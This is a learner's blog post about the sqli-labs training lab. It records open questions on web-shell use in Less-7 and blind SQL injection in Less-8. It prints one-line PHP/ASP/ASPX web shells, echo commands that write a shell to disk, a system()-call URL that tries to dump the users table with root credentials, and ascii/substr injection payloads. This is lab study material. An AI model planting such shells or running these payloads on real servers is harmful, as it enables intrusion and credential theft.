【sqlilabs】遗留问题

问题一、Less7

问题概要:咋通过eval查用户名和密码数据?+windows cmd命令与eval(cmd)

在sqlilabs Less7的学习中,我遇到了一些问题,先整理一下,以后再回来解决未完成的问题。——20220507
1、实现“入侵”的先决条件:
(1)木马上传成功,未被杀;
(2)知道木马的路径在哪;
(3)上传的木马能正常运行。
2、常见木马

#php的一句话木马: 
<?php @eval($_POST['pass']);?>
#asp的一句话是:   
<%eval request ("pass")%>
#aspx的一句话是:  
<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

3、从最经典的php一句话开始

   <?php @eval($_POST['cmd']); ?>#这里加了分号,传入参数的时候就不用加分号都可以哒~
   <?php @eval($_GET['cmd']); ?>

记录一下:
1)GET与POST必须大写;
2)@符号的意思是不报错,即使执行错误,也不报错。为什么要加呢,因为如果没有传入这个参数的值,服务器就善意的提醒:Notice,你的变量a没有定义。这不就暴露了我们定义的变量名啦?所以我们加上@,会好些。
在这里插入图片描述
在这里插入图片描述
3)参数为什么要是cmd?其实没关系的,用啥都行,它就是想表达通过GET或者POST传入这个参数,这个参数的值是一个命令,传进木马之后被当作php语句执行。
在这里插入图片描述
4)关于eval()函数——eval()把字符串作为PHP代码执行。例如:eval(“echo ‘a’”);其实就等于直接 echo ‘a’;再来看看<?php eval($_POST['pw']); ?>首先,用post方式接收变量pw,比如接收到了:pw=echo ‘a’;这时代码就变成<?php eval("echo 'a';"); ?>。
5)windows与Linux系统下的echo

#windows——
#知识点:(1)^是windows下以转义字符的身份出现。因为在cmd环境中,有些字符具备特殊功能,如>、>>表示重定向,|表示管道,&、&&、||表示语句连接……它们都有特定的功度。
#如果需要把它们作为字符输出知的话,echo >、echo | ……之类的写法就会出错——cmd解释器会把它们作为具有特殊功能的字符对待,而不会作为普通字符处理,这个时候,就需道要对这些特殊字符做转义处理:在每个特殊字符回前加上转义字符^,因此,要输出这些特殊字符,就需要用 echo ^>、echo ^|、echo ^|^|、echo ^^……之类的格式来处理。
#(2) 此处^为什么不换成引号?因为windows写入时会把引号写进去
echo ^<? php @eval($_POST['x']); ?^> #此处转义了"<"和">"
#Linux——知识点:$为linux系统的变量符号,原样输出字符串,不进行转义或取变量用单引号(此处否则会把$_POST当成变量处理),x用双引号是为了和单引号区分。
echo '<? php @eval($_POST["x"]); ?>' >shell.php

在这里插入图片描述另外,windows下的cmd中,^相当于Linux的/。可以换行但不结束命令语句
在这里插入图片描述

4、关于木马利用的操作实验
可以参考博客https://blog.csdn.net/weixin_39190897/article/details/86772765。我现在还没装中国菜刀,感觉暂时也不需要,还没学到那一步。

5、问题:我在想,可以输入系统命令了,要怎么能获取账户密码?
第一步,我就先看这个木马咋用的,简单的例子——看别人博客说调用phpinfo(),可以看php配置信息。记得要在末尾加分号,因为传入的这个参数是php的语句,php中语句需要有分号结尾。我把a的参数改成database(),然后出错了,大佬说:“有没有可能php里没有database这个函数”,这个解释我比较能理解,因为phpinfo()是php内置的配置函数,所以会有显示,“phpinfo()是PHP中的一个内置函数,可以提供关于系统中安装的PHP版本和PHP配置的详细信息”。
在这里插入图片描述
第二步——说是可以传系统命令
所以我试了一下,“a=system(“ipconfig”) ;”诶,可以输出。
在这里插入图片描述
第三步,我灵机一动,那如果cmd能查用户名和密码,system里面传入查询的语句不就可以了?
但是,结果狠狠打脸了——我还搞了了一整天,才凑出这个语句:

 mysql -hlocalhost -uroot -proot 
 use security;select username,password from users;
 

cmd本身是可以ctrl+V过去就能运行得出结果的。两行语句,后面都跟了换行的,第一行语句后面不能有分号,不然进不去mysql而且会报错。
在这里插入图片描述
我以为我就要成功了,
http://localhost/sqlilabs/Less-7/5.php?a=system(%22mysql%20-hlocalhost%20-uroot%20-proot%20%0A%20use%20security;select%20username,password%20from%20users;%0A%22)%20;
结果火狐输入这个命令,它并没有成功,好难受-_-
在这里插入图片描述

问题二、Less8

问题概要: ascii判断为啥不会报错?+ ord与ascii

1、预备知识——区分ascii和ord
(1) ord(str);

#如果字符串str的最左边的字符是一个多字节字符返回该字符,用下面这个公式其组成字节的数值:
  (1st byte code)
+ (2nd byte code . 256)
+ (3rd byte code . 2562) ...
#如果最左边的字符不是一个多字节字符,ORD()返回相同的值如ASCII()函数。
SQL> SELECT ORD('2');
+---------------------------------------------------------+
| ORD('2')                                                |
+---------------------------------------------------------+
| 50                                                      |
+---------------------------------------------------------+
1 row in set (0.00 sec)

(2)ascii(str);

#返回字符串str的最左字符的数值。返回0,如果str为空字符串。返回NULL,如果str为NULL。 ASCII()返回数值是从0到255。
SQL> SELECT ASCII('2');
+---------------------------------------------------------+
| ASCII('2')                                              |
+---------------------------------------------------------+
| 50                                                      |
+---------------------------------------------------------+
1 row in set (0.00 sec)

SQL> SELECT ASCII('dx');
+---------------------------------------------------------+
| ASCII('dx')                                             |
+---------------------------------------------------------+
| 100                                                     |
+---------------------------------------------------------+
1 row in set (0.00 sec)

2、问题
我不知道为啥,用?id=1' and (ascii(substr(database(),0,1))='s')--+?id=1' and (ascii(substr(database(),0,1))='h')--+页面都是正常显示,毫无变化。这个问题也留到后面来解决吧。
在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值